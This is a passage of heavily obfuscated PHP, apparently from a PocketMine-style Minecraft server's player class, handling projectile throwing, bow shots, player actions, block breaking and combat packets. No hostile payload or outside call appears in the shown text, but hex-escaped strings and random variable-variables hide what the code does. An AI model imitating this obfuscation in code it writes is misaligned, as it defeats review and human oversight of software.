CompoundTag("",["P\x6f\x73"=>new ListTag("P\x6f\x73",[new DoubleTag("",$this->x),new DoubleTag("",$this->y+$this->getEyeHeight()),new DoubleTag("",$this->z)]),"M\x6ftio\x6e"=>new ListTag("\x4do\x74\x69\x6f\x6e",[new DoubleTag("",-sin($this->yaw/180*M_PI)*cos($this->pitch/180*M_PI)),new DoubleTag("",-sin($this->pitch/180*M_PI)),new DoubleTag("",cos($this->yaw/180*M_PI)*cos($this->pitch/180*M_PI))]),"\x52\x6f\x74\x61\x74i\x6f\x6e"=>new ListTag("\x52\x6ft\x61\x74\x69on",[new FloatTag("",$this->yaw),new FloatTag("",$this->pitch)]),]);${"\x47\x4c\x4fBA\x4cS"}["s\x74\x69\x74\x76\x65\x75\x69\x6dmn\x6e"]="\x66";${${"G\x4c\x4fBA\x4c\x53"}["s\x74\x69t\x76e\x75i\x6dmnn"]}=1.5;${"\x47\x4cO\x42AL\x53"}["\x61\x73kb\x75\x68g\x61"]="s\x6eo\x77\x62\x61\x6c\x6c";${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x61\x73kbuh\x67\x61"]}=Entity::createEntity("\x53\x6e\x6f\x77b\x61l\x6c",$this->chunk,${${"GL\x4f\x42\x41LS"}["\x6cx\x69\x73\x70\x65\x74\x6a\x72u\x6b"]},$this);$snowball->setMotion($snowball->getMotion()->multiply(${$htqhoshnmx}));if($this->isSurvival()){$tyqjmfe="\x69t\x65\x6d";$item->setCount($item->getCount()-1);$this->inventory->setItemInHand($item->getCount()>0?${$tyqjmfe}:Item::get(Item::AIR));}if(${${"G\x4c\x4f\x42A\x4c\x53"}["\x75\x73\x6b\x6by\x71\x70\x6bg"]} instanceof Projectile){$this->server->getPluginManager()->callEvent(${${"\x47LOB\x41L\x53"}["\x6e\x63s\x68\x68\x7a\x63\x6b"]}=new ProjectileLaunchEvent(${${"G\x4c\x4fB\x41\x4c\x53"}["\x73\x78\x75ce\x73\x76s\x72\x64\x61\x6e"]}));if($projectileEv->isCancelled()){$snowball->kill();}else{$snowball->spawnToAll();$this->level->addSound(new LaunchSound($this),$this->getViewers());}}else{$snowball->spawnToAll();}}elseif($item->getId()===Item::EGG){${${"\x47\x4c\x4fBA\x4c\x53"}["\x73nb\x68\x6d\x67\x79p\x73\x71"]}=new CompoundTag("",["P\x6f\x73"=>new ListTag("\x50\x6f\x73",[new DoubleTag("",$this->x),new DoubleTag("",$this->y+$this->getEyeHeight()),new DoubleTag("",$this->z)]),"\x4do\x74\x69\x6fn"=>new ListTag("M\x6fti\x6f\x6e",[new DoubleTag("",-sin($this->yaw/180*M_PI)*cos($this->pitch/180*M_PI)),new DoubleTag("",-sin($this->pitch/180*M_PI)),new DoubleTag("",cos($this->yaw/180*M_PI)*cos($this->pitch/180*M_PI))]),"Ro\x74\x61\x74i\x6fn"=>new ListTag("R\x6f\x74a\x74io\x6e",[new FloatTag("",$this->yaw),new FloatTag("",$this->pitch)]),]);$qwqypgbcp="\x6e\x62t";${${"\x47LO\x42\x41\x4cS"}["o\x74b\x67uj\x6e\x6bc"]}=1.5;${${"G\x4cOB\x41\x4c\x53"}["c\x65\x68x\x77vpx"]}=Entity::createEntity("\x45\x67\x67",$this->chunk,${$qwqypgbcp},$this);$egg->setMotion($egg->getMotion()->multiply(${${"GLOBAL\x53"}["otbgu\x6ankc"]}));if($this->isSurvival()){$item->setCount($item->getCount()-1);$this->inventory->setItemInHand($item->getCount()>0?${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x66\x6f\x68\x65x\x75nn\x62e"]}:Item::get(Item::AIR));}if(${${"\x47\x4c\x4fB\x41L\x53"}["c\x65\x68\x78\x77\x76\x70\x78"]} instanceof Projectile){$hifgxob="\x65\x67g";$this->server->getPluginManager()->callEvent(${${"G\x4c\x4f\x42\x41\x4cS"}["\x6e\x63s\x68\x68z\x63\x6b"]}=new ProjectileLaunchEvent(${$hifgxob}));if($projectileEv->isCancelled()){$egg->kill();}else{$egg->spawnToAll();$this->level->addSound(new LaunchSound($this),$this->getViewers());}}else{$egg->spawnToAll();}}elseif($item->getId()==Item::ENCHANTING_BOTTLE){${${"GL\x4fBA\x4c\x53"}["snb\x68\x6d\x67\x79\x70\x73\x71"]}=new CompoundTag("",["P\x6fs"=>new ListTag("\x50o\x73",[new DoubleTag("",$this->x),new DoubleTag("",$this->y+$this->getEyeHeight()),new DoubleTag("",$this->z)]),"Mo\x74io\x6e"=>new ListTag("Motio\x6e",[new DoubleTag("",-sin($this->yaw/180*M_PI)*cos($this->pitch/180*M_PI)),new DoubleTag("",-sin($this->pitch/180*M_PI)),new DoubleTag("",cos($this->yaw/180*M_PI)*cos($this->pitch/180*M_PI))]),"\x52ota\x74\x69o\x6e"=>new ListTag("Rotatio\x6e",[new FloatTag("",$this->yaw),new FloatTag("",$this->pitch)]),]);$tpozrzm="f";${$tpozrzm}=1.1;$rggbdvxo="\x66";${${"\x47\x4cO\x42\x41\x4c\x53"}["sx\x69\x65d\x6c\x7a\x73\x6d\x70"]}=new ThrownExpBottle($this->chunk,${${"\x47\x4cO\x42\x41\x4c\x53"}["\x73n\x62h\x6d\x67\x79\x70s\x71"]},$this);$thrownExpBottle->setMotion($thrownExpBottle->getMotion()->multiply(${$rggbdvxo}));if($this->isSurvival()){$item->setCount($item->getCount()-1);$this->inventory->setItemInHand($item->getCount()>0?${${"\x47LO\x42\x41\x4c\x53"}["\x66\x6f\x68\x65\x78\x75\x6enbe"]}:Item::get(Item::AIR));}if(${${"GL\x4f\x42\x41\x4c\x53"}["\x73\x78\x69\x65\x64\x6cz\x73\x6d\x70"]} instanceof Projectile){${"\x47\x4c\x4f\x42AL\x53"}["\x62\x64\x64r\x68j\x69\x67hb"]="\x74\x68\x72ow\x6e\x45\x78p\x42ott\x6ce";$lanojjd="proj\x65ct\x69leE\x76";$this->server->getPluginManager()->callEvent(${$lanojjd}=new ProjectileLaunchEvent(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x62\x64\x64\x72\x68\x6a\x69ghb"]}));if($projectileEv->isCancelled()){$thrownExpBottle->kill();}else{$thrownExpBottle->spawnToAll();$this->level->addSound(new LaunchSound($this),$this->getViewers());}}else{$thrownExpBottle->spawnToAll();}}elseif($item->getId()==Item::SPLASH_POTION and$this->server->allowSplashPotion){$pecqpfnod="\x6ebt";$kayfxwioir="\x66";${$pecqpfnod}=new CompoundTag("",["\x50\x6f\x73"=>new ListTag("Pos",[new DoubleTag("",$this->x),new DoubleTag("",$this->y+$this->getEyeHeight()),new DoubleTag("",$this->z)]),"M\x6ft\x69on"=>new ListTag("\x4d\x6fti\x6f\x6e",[new DoubleTag("",-sin($this->yaw/180*M_PI)*cos($this->pitch/180*M_PI)),new DoubleTag("",-sin($this->pitch/180*M_PI)),new DoubleTag("",cos($this->yaw/180*M_PI)*cos($this->pitch/180*M_PI))]),"\x52o\x74\x61ti\x6f\x6e"=>new ListTag("\x52o\x74\x61\x74io\x6e",[new FloatTag("",$this->yaw),new FloatTag("",$this->pitch)]),"\x50ot\x69on\x49d"=>new ShortTag("\x50\x6f\x74\x69on\x49d",$item->getDamage()),]);${$kayfxwioir}=1.1;${"GL\x4f\x42A\x4cS"}["\x6a\x68\x61\x74\x63\x6b"]="\x6e\x62\x74";${${"\x47L\x4fBA\x4c\x53"}["\x71\x65\x71m\x6a\x61m\x6e\x77\x6b"]}=new ThrownPotion($this->chunk,${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["j\x68a\x74\x63k"]},$this);$thrownPotion->setMotion($thrownPotion->getMotion()->multiply(${${"\x47\x4c\x4fB\x41L\x53"}["\x6f\x74\x62\x67u\x6a\x6e\x6bc"]}));if($this->isSurvival()){$item->setCount($item->getCount()-1);$this->inventory->setItemInHand($item->getCount()>0?${${"\x47L\x4f\x42\x41\x4c\x53"}["\x66\x6f\x68\x65\x78\x75\x6e\x6e\x62e"]}:Item::get(Item::AIR));}$nfcruwxwds="\x74\x68\x72\x6fw\x6ePo\x74\x69o\x6e";if(${$nfcruwxwds} instanceof Projectile){$this->server->getPluginManager()->callEvent(${${"G\x4cOB\x41\x4cS"}["\x6e\x63\x73h\x68\x7ac\x6b"]}=new ProjectileLaunchEvent(${${"\x47\x4c\x4fBALS"}["\x71\x65q\x6dja\x6dnw\x6b"]}));if($projectileEv->isCancelled()){$thrownPotion->kill();}else{$thrownPotion->spawnToAll();$this->level->addSound(new LaunchSound($this),$this->getViewers());}}else{$thrownPotion->spawnToAll();}}$this->setDataFlag(self::DATA_FLAGS,self::DATA_FLAG_ACTION,true);$this->startAction=$this->server->getTick();}break;case ProtocolInfo::PLAYER_ACTION_PACKET:case\pocketmine\network\protocol\p70\Info::PLAYER_ACTION_PACKET:if($this->spawned===false or$this->blocked===true or(!$this->isAlive()and$packet->action!==PlayerActionPacket::ACTION_SPAWN_SAME_DIMENSION and$packet->action!==PlayerActionPacket::ACTION_SPAWN_OVERWORLD)){break;}$packet->eid=$this->id;${${"G\x4c\x4f\x42\x41L\x53"}["\x78\x6c\x70qs\x6by\x65\x62"]}=new Vector3($packet->x,$packet->y,$packet->z);switch($packet->action){case PlayerActionPacket::ACTION_START_BREAK:if($pos->distanceSquared($this)>10000){break;}${${"\x47L\x4f\x42\x41\x4c\x53"}["\x68\x78\x78izz"]}=$this->level->getBlock(${$dqiuowfjyc});${$tskrbeobe}=new PlayerInteractEvent($this,$this->inventory->getItemInHand(),${$wtlhdcawpf},$packet->face,$target->getId()===0?PlayerInteractEvent::LEFT_CLICK_AIR:PlayerInteractEvent::LEFT_CLICK_BLOCK);$this->getServer()->getPluginManager()->callEvent(${$nyqacpmj});if(!$ev->isCancelled()){${"GL\x4f\x42A\x4c\x53"}["j\x73\x76\x78u\x72m"]="\x73i\x64\x65";${${"\x47L\x4f\x42A\x4cS"}["\x6asv\x78ur\x6d"]}=$target->getSide($packet->face);if(${${"GL\x4fB\x41L\x53"}["\x70w\x6de\x63\x6d\x75"]} instanceof Fire){$bskcgnutiz="si\x64\x65";$side->getLevel()->setBlock(${$bskcgnutiz},new Air());}$this->lastBreak=microtime(true);}else{$this->inventory->sendHeldItem($this);}break;case PlayerActionPacket::ACTION_ABORT_BREAK:$this->lastBreak=PHP_INT_MAX;break;case PlayerActionPacket::ACTION_RELEASE_ITEM:if($this->startAction>-1 and$this->getDataFlag(self::DATA_FLAGS,self::DATA_FLAG_ACTION)){if($this->inventory->getItemInHand()->getId()===Item::BOW){${"\x47\x4c\x4f\x42\x41L\x53"}["\x67r\x6a\x66\x6e\x65\x62hp\x6b"]="bo\x77";$uitriwgljcc="\x62ow";${"\x47LO\x42ALS"}["\x75\x78\x6ai\x79bp\x6a"]="\x64\x69f\x66";${"GL\x4f\x42\x41\x4c\x53"}["\x6bfde\x61\x6ct\x6c\x69"]="\x61rr\x6f\x77";${${"\x47\x4c\x4f\x42\x41LS"}["\x67\x72jfn\x65b\x68p\x6b"]}=$this->inventory->getItemInHand();if($this->isSurvival()and!$this->inventory->contains(Item::get(Item::ARROW,null))){$this->inventory->sendContents($this);break;}${"\x47\x4c\x4f\x42\x41\x4cS"}["\x66\x65\x6e\x64\x72\x64\x70\x63\x6c"]="f";$pathlygf="\x64i\x66\x66";${${"G\x4c\x4f\x42A\x4cS"}["\x6bfd\x65\x61\x6c\x74\x6ci"]}=false;foreach($this->inventory->getContents()as${${"\x47\x4c\x4fBA\x4c\x53"}["\x66\x6f\x68\x65\x78u\x6e\x6e\x62\x65"]}){if($item->getId()==Item::ARROW){${"\x47L\x4fB\x41\x4c\x53"}["\x76\x65p\x64\x6e\x71\x6d"]="\x61rrow";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x73\x6e\x67\x67mqs"]="i\x74\x65\x6d";${${"G\x4c\x4fBA\x4c\x53"}["v\x65\x70\x64\x6eq\x6d"]}=${${"GL\x4fBA\x4cS"}["\x73ng\x67\x6dq\x73"]};}}if(${${"GL\x4f\x42A\x4c\x53"}["dgol\x71\x72qw\x66\x61"]}===false and$this->isCreative()){${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x64\x67\x6f\x6cq\x72\x71w\x66\x61"]}=Item::get(Item::ARROW,0,1);}elseif(${${"\x47L\x4fB\x41L\x53"}["\x64g\x6f\x6cq\x72\x71\x77\x66\x61"]}===false){break;}${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["s\x6e\x62\x68\x6d\x67y\x70s\x71"]}=new CompoundTag("",["P\x6fs"=>new ListTag("Pos",[new DoubleTag("",$this->x),new DoubleTag("",$this->y+$this->getEyeHeight()),new DoubleTag("",$this->z)]),"\x4do\x74\x69\x6f\x6e"=>new ListTag("M\x6f\x74\x69o\x6e",[new DoubleTag("",-sin($this->yaw/180*M_PI)*cos($this->pitch/180*M_PI)),new DoubleTag("",-sin($this->pitch/180*M_PI)),new DoubleTag("",cos($this->yaw/180*M_PI)*cos($this->pitch/180*M_PI))]),"R\x6fta\x74\x69o\x6e"=>new ListTag("R\x6fta\x74\x69o\x6e",[new FloatTag("",$this->yaw),new FloatTag("",$this->pitch)]),"Fir\x65"=>new ShortTag("\x46ire",$this->isOnFire()?45*60:0),"P\x6f\x74\x69on"=>new ShortTag("\x50\x6f\x74\x69\x6f\x6e",$arrow->getDamage())]);$xcypmzewrr="\x70";${$pathlygf}=($this->server->getTick()-$this->startAction);${${"\x47L\x4f\x42AL\x53"}["h\x65\x6a\x71\x73\x64\x6a"]}=${${"GL\x4f\x42\x41\x4c\x53"}["\x75\x78\x6a\x69\x79\x62\x70\x6a"]}/20;${${"GLOBAL\x53"}["ot\x62\x67\x75jnkc"]}=min(((${${"G\x4c\x4fB\x41\x4c\x53"}["\x68\x65j\x71s\x64j"]}**2)+${$xcypmzewrr}*2)/3,1)*2;${${"G\x4c\x4f\x42A\x4c\x53"}["q\x63f\x7av\x6c"]}=new EntityShootBowEvent($this,${$uitriwgljcc},Entity::createEntity("\x41r\x72\x6f\x77",$this->chunk,${${"G\x4c\x4f\x42\x41\x4c\x53"}["sn\x62\x68\x6d\x67\x79psq"]},$this,${${"GLO\x42\x41\x4c\x53"}["\x6ft\x62\x67u\x6a\x6e\x6bc"]}==2?true:false),${${"G\x4c\x4f\x42AL\x53"}["\x66\x65\x6ed\x72d\x70\x63\x6c"]});if(${${"\x47\x4cOB\x41\x4cS"}["\x6f\x74b\x67\x75\x6ank\x63"]}<0.1 or${${"G\x4cOB\x41\x4cS"}["\x62\x77\x61q\x6f\x72\x6a\x69\x68g"]}<5){$ev->setCancelled();}$this->server->getPluginManager()->callEvent(${${"GL\x4fB\x41\x4c\x53"}["qc\x66\x7a\x76l"]});if($ev->isCancelled()){$ev->getProjectile()->kill();$this->inventory->sendContents($this);}else{$ev->getProjectile()->setMotion($ev->getProjectile()->getMotion()->multiply($ev->getForce()));if($this->isSurvival()){$this->inventory->removeItem(Item::get(Item::ARROW,$arrow->getDamage(),1));$bow->setDamage($bow->getDamage()+1);if($bow->getDamage()>=385){$this->inventory->setItemInHand(Item::get(Item::AIR,0,0));}else{${"\x47LO\x42\x41\x4cS"}["u\x62\x66\x63\x66r\x6el\x61"]="\x62\x6fw";$this->inventory->setItemInHand(${${"G\x4c\x4fB\x41LS"}["\x75b\x66\x63\x66\x72n\x6c\x61"]});}}if($ev->getProjectile()instanceof Projectile){$this->server->getPluginManager()->callEvent(${${"GLO\x42\x41\x4cS"}["\x6ec\x73\x68\x68\x7a\x63k"]}=new ProjectileLaunchEvent($ev->getProjectile()));if($projectileEv->isCancelled()){$ev->getProjectile()->kill();}else{$ev->getProjectile()->spawnToAll();$this->level->addSound(new LaunchSound($this),$this->getViewers());}}else{$ev->getProjectile()->spawnToAll();}}}}elseif($this->inventory->getItemInHand()->getId()===Item::BUCKET and$this->inventory->getItemInHand()->getDamage()===1){${"G\x4cO\x42\x41LS"}["\x74kl\x69\x6bu\x6bs\x6b\x6c"]="\x65\x76";$this->server->getPluginManager()->callEvent(${${"\x47\x4c\x4fB\x41LS"}["\x74\x6b\x6c\x69\x6bu\x6b\x73\x6bl"]}=new PlayerItemConsumeEvent($this,$this->inventory->getItemInHand()));if($ev->isCancelled()){$this->inventory->sendContents($this);break;}${${"\x47LO\x42\x41L\x53"}["\x6fz\x7a\x79w\x73\x72\x73\x73\x71"]}=new EntityEventPacket();$yzocnqrmlsf="\x70\x6b";$pk->eid=$this->getId();$pk->event=EntityEventPacket::USE_ITEM;$this->dataPacket(${${"G\x4c\x4f\x42\x41\x4c\x53"}["o\x7a\x7ay\x77\x73\x72s\x73\x71"]});Server::broadcastPacket($this->getViewers(),${$yzocnqrmlsf});if($this->isSurvival()){${"G\x4c\x4f\x42\x41L\x53"}["\x68\x6a\x75\x75ne\x74o"]="\x73\x6c\x6f\x74";${${"GL\x4fB\x41\x4c\x53"}["h\x6a\x75\x75\x6eet\x6f"]}=$this->inventory->getItemInHand();--$slot->count;$this->inventory->setItemInHand(${${"GLO\x42\x41\x4c\x53"}["\x64f\x67\x78\x6dwe\x79\x6f\x68\x61\x6d"]});$this->inventory->addItem(Item::get(Item::BUCKET,0,1));}$this->removeAllEffects();}else{$this->inventory->sendContents($this);}break;case PlayerActionPacket::ACTION_STOP_SLEEPING:$this->stopSleep();break;case PlayerActionPacket::ACTION_SPAWN_SAME_DIMENSION:case PlayerActionPacket::ACTION_SPAWN_OVERWORLD:if($this->isAlive()or!$this->isOnline()){break;}if($this->server->isHardcore()){$this->setBanned(true);break;}$this->craftingType=self::CRAFTING_SMALL;if($this->server->netherEnabled){if($this->level==$this->server->netherLevel){$this->teleport(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["w\x78\x6f\x65\x68\x6dq\x62\x74\x67"]}=$this->server->getDefaultLevel()->getSafeSpawn());}}$this->server->getPluginManager()->callEvent(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x71\x63f\x7a\x76l"]}=new PlayerRespawnEvent($this,$this->getSpawn()));$this->teleport($ev->getRespawnPosition());$this->setSprinting(false);$this->setSneaking(false);$this->extinguish();$this->setDataProperty(self::DATA_AIR,self::DATA_TYPE_SHORT,300);$this->deadTicks=0;$this->noDamageTicks=60;$this->removeAllEffects();$this->setHealth($this->getMaxHealth());$this->setFood(20);$this->starvationTick=0;$this->foodTick=0;$this->foodUsageTime=0;$this->sendData($this);$this->sendSettings();$this->inventory->sendContents($this);$this->inventory->sendArmorContents($this);$this->blocked=false;$this->spawnToAll();$this->scheduleUpdate();break;case PlayerActionPacket::ACTION_START_SPRINT:${${"\x47\x4cO\x42\x41\x4cS"}["qcf\x7av\x6c"]}=new PlayerToggleSprintEvent($this,true);$this->server->getPluginManager()->callEvent(${${"\x47LO\x42\x41\x4cS"}["\x71c\x66\x7av\x6c"]});if($ev->isCancelled()){$this->sendData($this);}else{$this->setSprinting(true);}break 2;case PlayerActionPacket::ACTION_STOP_SPRINT:${${"G\x4c\x4fB\x41L\x53"}["\x68\x78\x66\x7a\x79\x65\x75z"]}=new PlayerToggleSprintEvent($this,false);$this->server->getPluginManager()->callEvent(${${"G\x4cOB\x41\x4c\x53"}["q\x63\x66z\x76\x6c"]});if($ev->isCancelled()){$this->sendData($this);}else{$this->setSprinting(false);}break 2;case PlayerActionPacket::ACTION_START_SNEAK:${${"\x47LO\x42\x41\x4c\x53"}["\x75zm\x65\x74\x77s"]}=new PlayerToggleSneakEvent($this,true);$this->server->getPluginManager()->callEvent(${${"\x47\x4c\x4f\x42A\x4c\x53"}["q\x63\x66zv\x6c"]});if($ev->isCancelled()){$this->sendData($this);}else{$this->setSneaking(true);}break 2;case PlayerActionPacket::ACTION_STOP_SNEAK:${${"G\x4c\x4f\x42\x41\x4cS"}["\x71\x63f\x7a\x76\x6c"]}=new PlayerToggleSneakEvent($this,false);$this->server->getPluginManager()->callEvent(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x71\x63\x66z\x76\x6c"]});if($ev->isCancelled()){$this->sendData($this);}else{$this->setSneaking(false);}break 2;case PlayerActionPacket::ACTION_JUMP:break 2;}$this->startAction=-1;$this->setDataFlag(self::DATA_FLAGS,self::DATA_FLAG_ACTION,false);break;case ProtocolInfo::REMOVE_BLOCK_PACKET:case\pocketmine\network\protocol\p70\Info::REMOVE_BLOCK_PACKET:if($this->spawned===false or$this->blocked===true or!$this->isAlive()){break;}$this->craftingType=self::CRAFTING_SMALL;${${"GL\x4f\x42\x41\x4c\x53"}["\x6a\x78\x68\x75dp\x66sl\x70\x64"]}=new Vector3($packet->x,$packet->y,$packet->z);${${"\x47\x4c\x4f\x42\x41LS"}["\x68\x71\x65vc\x77\x73oe"]}=$this->inventory->getItemInHand();${$eeugcx}=clone${$jlitpscowkq};if($this->canInteract($vector->add(0.5,0.5,0.5),$this->isCreative()?13:6)and$this->level->useBreakOn(${$owcvkqe},${${"\x47\x4c\x4fB\x41LS"}["\x66\x6f\x68\x65\x78\x75nn\x62\x65"]},$this,$this->server->destroyBlockParticle)){if($this->isSurvival()){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6f\x75\x6fk\x65zy\x6fv"]="\x6f\x6c\x64I\x74em";if(!$item->equals(${${"\x47\x4c\x4fB\x41L\x53"}["o\x75\x6fk\x65\x7ay\x6f\x76"]})or$item->getCount()!==$oldItem->getCount()){$this->inventory->setItemInHand(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x66\x6fh\x65\x78\x75nnb\x65"]});$this->inventory->sendHeldItem($this);}$this->exhaust(0.025,PlayerExhaustEvent::CAUSE_MINING);}break;}$this->inventory->sendContents($this);${${"\x47\x4c\x4f\x42A\x4cS"}["\x68xx\x69\x7az"]}=$this->level->getBlock(${${"GL\x4f\x42\x41L\x53"}["\x75\x6dog\x64\x71n"]});${$oxgwsxi}=$this->level->getTile(${${"G\x4cO\x42\x41LS"}["\x6a\x78hud\x70\x66\x73lp\x64"]});$this->level->sendBlocks([$this],[${${"\x47\x4cO\x42\x41L\x53"}["\x68\x78x\x69\x7a\x7a"]}],UpdateBlockPacket::FLAG_ALL_PRIORITY);$this->inventory->sendHeldItem($this);if(${$vnqhrtyqydjw} instanceof Spawnable){$tile->spawnTo($this);}break;case ProtocolInfo::MOB_ARMOR_EQUIPMENT_PACKET:case\pocketmine\network\protocol\p70\Info::MOB_ARMOR_EQUIPMENT_PACKET:break;case ProtocolInfo::INTERACT_PACKET:case\pocketmine\network\protocol\p70\Info::INTERACT_PACKET:if($this->spawned===false or!$this->isAlive()or$this->blocked){break;}$this->craftingType=self::CRAFTING_SMALL;${${"\x47\x4cO\x42\x41\x4c\x53"}["\x68\x78x\x69\x7a\x7a"]}=$this->level->getEntity($packet->target);${$tjzipochb}=false;if(${$djotchztuut} instanceof Player and$this->server->getConfigBoolean("p\x76\x70",true)===false){$cfklbsnttpw="\x63\x61nce\x6c\x6c\x65d";${$cfklbsnttpw}=true;}if(${${"\x47\x4cO\x42AL\x53"}["\x76\x64\x75aa\x6a\x6b\x78\x78"]} instanceof Boat or(${${"\x47\x4c\x4fBA\x4c\x53"}["hx\x78\x69\x7az"]} instanceof Minecart and$target->getType()==Minecart::TYPE_NORMAL)){if($packet->action===InteractPacket::ACTION_RIGHT_CLICK){$this->linkEntity(${${"GL\x4fB\x41\x4c\x53"}["h\x78\x78\x69zz"]});}elseif($packet->action===InteractPacket::ACTION_LEFT_CLICK){$btqtfzkv="\x74\x61r\x67\x65\x74";if($this->linkedEntity==${$btqtfzkv}){$target->setLinked(0,$this);}$target->close();}elseif($packet->action===InteractPacket::ACTION_LEAVE_VEHICLE){$xhryolvstu="\x74\x61\x72\x67\x65\x74";$this->setLinked(0,${$xhryolvstu});}return;}if($packet->action===InteractPacket::ACTION_RIGHT_CLICK){if(${${"\x47L\x4f\x42\x41\x4c\x53"}["hxxi\x7a\x7a"]} instanceof Animal and$this->getInventory()->getItemInHand()){}break;}if(${$blwrux} instanceof Entity and$this->getGamemode()!==Player::VIEW and$this->isAlive()and$target->isAlive()){$gvxczhzwerj="\x74\x61\x72\x67\x65t";$guevcuu="\x65v";${"\x47L\x4fBAL\x53"}["\x66\x67\x62\x6d\x70\x65\x71m"]="\x63\x61\x6e\x63\x65ll\x65\x64";if(${${"\x47\x4c\x4fBA\x4c\x53"}["\x68\x78xiz\x7a"]} instanceof DroppedItem or${$gvxczhzwerj} instanceof Arrow){$this->kick("\x41ttemp\x74i\x6e\x67\x20t\x6f\x20att\x61\x63k\x20an i\x6eva\x6c\x69d \x65n\x74\x69\x74y");$this->server->getLogger()->warning($this->getServer()->getLanguage()->translateString("\x70\x6fck\x65tm\x69\x6ee\x2epla\x79er\x2ei\x6ev\x61\x6c\x69d\x45\x6e\x74i\x74y",[$this->getName()]));break;}$yndedfgyyk="da\x6d\x61\x67\x65";$xtbsuptiwyb="ta\x72g\x65t";${${"G\x4cO\x42\x41\x4cS"}["\x66ohe\x78u\x6enb\x65"]}=$this->inventory->getItemInHand();${"GL\x4f\x42\x41\x4c\x53"}["\x67s\x68p\x75\x64\x6b\x64m"]="da\x6da\x67e";${${"G\x4c\x4fB\x41\x4c\x53"}["g\x73h\x70\x75\x64\x6b\x64m"]}=[EntityDamageEvent::MODIFIER_BASE=>$item->getModifyAttackDamage(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x68\x78\x78\x69\x7a\x7a"]}),];if(!$this->canInteract(${$xtbsuptiwyb},8)){$sdqgewqdot="\x63a\x6e\x63\x65lled";${$sdqgewqdot}=true;}elseif(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x68\x78x\x69\x7a\x7a"]} instanceof Player){if(($target->getGamemode()&0x01)>0){break;}elseif($this->server->getConfigBoolean("\x70\x76\x70")!==true or$this->server->getDifficulty()===0){${${"\x47\x4c\x4f\x42A\x4c\x53"}["t\x74\x6a\x6b\x79\x6a\x76\x77\x6atvx"]}=true;}}${$guevcuu}=new EntityDamageByEntityEvent($this,${${"G\x4cO\x42\x41\x4c\x53"}["h\x78x\x69\x7a\x7a"]},EntityDamageEvent::CAUSE_ENTITY_ATTACK,${$yndedfgyyk},0.4+$item->getEnchantmentLevel(Enchantment::TYPE_WEAPON_KNOCKBACK)*0.15);if(${${"\x47LO\x42\x41\x4c\x53"}["\x66\x67\x62m\x70eq\x6d"]}){$ev->setCancelled();}if($target->attack($ev->getFinalDamage(),${${"\x47\x4cO\x42ALS"}["\x71\x63\x66z\x76\x6c"]})===true){$hddugcejyoa="\x66\x69\x72\x65\x41\x73\x70\x65ct\x4c";${$hddugcejyoa}=$item->getEnchantmentLevel(Enchantment::TYPE_WEAPON_FIRE_ASPECT);if(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x61\x65\x7ay\x71\x62z\x70"]}>0){${"\x47LO\x42\x41\x4cS"}["\x6dg\x64\x62\x70\x68"]="fi\x72\x65\x45\x76";${${"\x47L\x4fBA\x4cS"}["lb\x79p\x70mc\x77\x6al\x6e"]}=new EntityCombustByEntityEvent($this,${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x68x\x78\x69z\x7a"]},${${"G\x4cO\x42\x41\x4cS"}["\x61\x65\x7a\x79qb\x7ap"]}*4,$ev->getFireProtectL());Server::getInstance()->getPluginManager()->callEvent(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6d\x67\x64b\x70h"]});if(!$fireEv->isCancelled()){$target->setOnFire($fireEv->getDuration());}}if($this->isSurvival()){$ev->createThornsDamage();if($ev->getThornsDamage()>0){${"G\x4c\x4f\x42\x41\x4c\x53"}["nl\x65y\x67\x69\x61\x72\x66yn"]="t\x61rg\x65t";${${"\x47\x4cO\x42\x41\x4c\x53"}["\x79gk\x70ns\x75"]}=new EntityDamageByEntityEvent(${${"\x47L\x4f\x42A\x4cS"}["n\x6c\x65\x79\x67\x69a\x72fyn"]},$this,EntityDamageEvent::CAUSE_ENTITY_ATTACK,$ev->getThornsDamage(),0);if(!$thornsEvent->isCancelled()){if($this->attack($thornsEvent->getFinalDamage(),${${"\x47L\x4f\x42\x41\x4c\x53"}["\x79\x67kp\x6es\x75"]})===true){}};}}}if($ev->isCancelled()){if($item->isTool()and$this->isSurvival()){$this->inventory->sendContents($this);}break;}if($this->isSurvival()){if($item->isTool()){$bjqzxpvy="\x74\x61\x72g\x65\x74";if($item->useOn(${$bjqzxpvy})and$item->getDamage()>=$item->getMaxDurability()){$this->inventory->setItemInHand(Item::get(Item::AIR,0,1));}else{$dtojls="i\x74em";$this->inventory->setItemInHand(${$dtojls});}}$this->exhaust(0.3,PlayerExhaustEvent::CAUSE_ATTACK);}}break;case ProtocolInfo::ANIMATE_PACKET:case\pocketmine\network\protocol\p70\Info::ANIMATE_PACKET:if($this->spawned===false or!$this->isAlive()){break;}$this->server->getPluginManager()->callEvent(${${"G\x4c\x4fBALS"}["\x71\x63\x66z\x76l"]}=new PlayerAnimationEvent($this,$packet->action));if($ev->isCancelled()){break;}${${"G\x4c\x4f\x42\x41\x4cS"}["o\x7a\x7ayw\x73\x72s\x73\x71"]}=new AnimatePacket();$pk->eid=$this->getId();$pk->action=$ev->getAnimationType();Server::broadcastPacket($this->getViewers(),${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6f\x7a\x7a\x79\x77s\x72\x73sq"]});break;case ProtocolInfo::SET_HEALTH_PACKET:case\pocketmine\network\protocol\p70\Info::SET_HEALTH_PACKET:break;case ProtocolInfo::ENTITY_EVENT_PACKET:case\pocketmine\network\protocol\p70\Info::ENTITY_EVENT_PACKET:if($this->spawned===false or$this->blocked===true or!$this->isAlive()){break;}$this->craftingType=self::CRAFTING_SMALL;$this->setDataFlag(self::DATA_FLAGS,self::DATA_FLAG_ACTION,false);switch($packet->event){case 